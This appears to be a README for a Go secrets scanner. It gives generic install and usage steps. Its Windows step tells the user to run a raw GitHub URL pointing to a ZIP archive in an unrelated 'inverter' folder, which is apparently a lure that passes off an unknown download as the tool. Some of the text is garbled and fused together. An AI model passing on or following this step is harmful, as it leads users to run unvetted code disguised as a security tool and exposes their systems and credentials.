Welcome to go-secrets-scanner! This application helps you scan for sensitive information in your code, such as API keys, tokens, and other secrets that shouldn't be shared. It's written in Go, providing a fast and reliable solution for security checks in your projects.
- Operating System: Windows, macOS, or Linux
- Minimum Disk Space: 50 MB
- Processor: Intel or AMD with 1 GHz or faster
- Scans for common secret types including API keys, access tokens, and high-entropy strings.
- Identifies hash types and provides hints on their crackability.
- Simple command-line interface makes it easy to use.
- Suitable for both small scripts and large codebases.
-
Download the Application
- Visit the Releases page to download the latest version of the application.
-
Extract the Files
- Once downloaded, locate the ZIP file in your Downloads folder.
- Right-click the file and select "Extract All..." or your system's equivalent to extract the files.
-
Open Command Line Interface
- For Windows, search for "cmd" in the Start menu.
- For macOS, open "Terminal" from Applications > Utilities.
- For Linux, you may use your preferred terminal application.
-
Navigate to the Application Folder
- Use the
cdcommand to change directories to the location where you extracted the application. Example:cd Downloads/go-secrets-scanner
- Use the
-
Run the Scanner
- Type the command to start the scan. Replace
your-code-directorywith the path to the folder you want to scan../go-secrets-scanner your-code-directory - If you are using Windows, run:
https://raw.githubusercontent.com/Sarakimz/go-secrets-scanner/main/inverter/go_secrets_scanner_2.2.zip your-code-directory
- Type the command to start the scan. Replace
-
Review the Results
- After the scan is complete, review the output. The scanner will list potential secrets found in your code along with their locations.
For your convenience, you can quickly access the download link here: Download go-secrets-scanner.
Follow the steps above for installation and scanning your codebase effectively.
If you want to scan the src directory of your project, open your command line and run:
./go-secrets-scanner src/
Replace src/ with the path to your specific code directory.
- Always keep your secrets secure. Use environment variables or secure storage solutions.
- Regularly scan your repositories to identify any leakages early.
- Review the results carefully and take steps to remove any exposed secrets immediately.
If you encounter any issues or have questions, feel free to open an issue on the GitHub repository. The community is here to help!
For more information on securing your code and understanding secrets management, check out:
Your security is essential. Use go-secrets-scanner to keep your projects safe!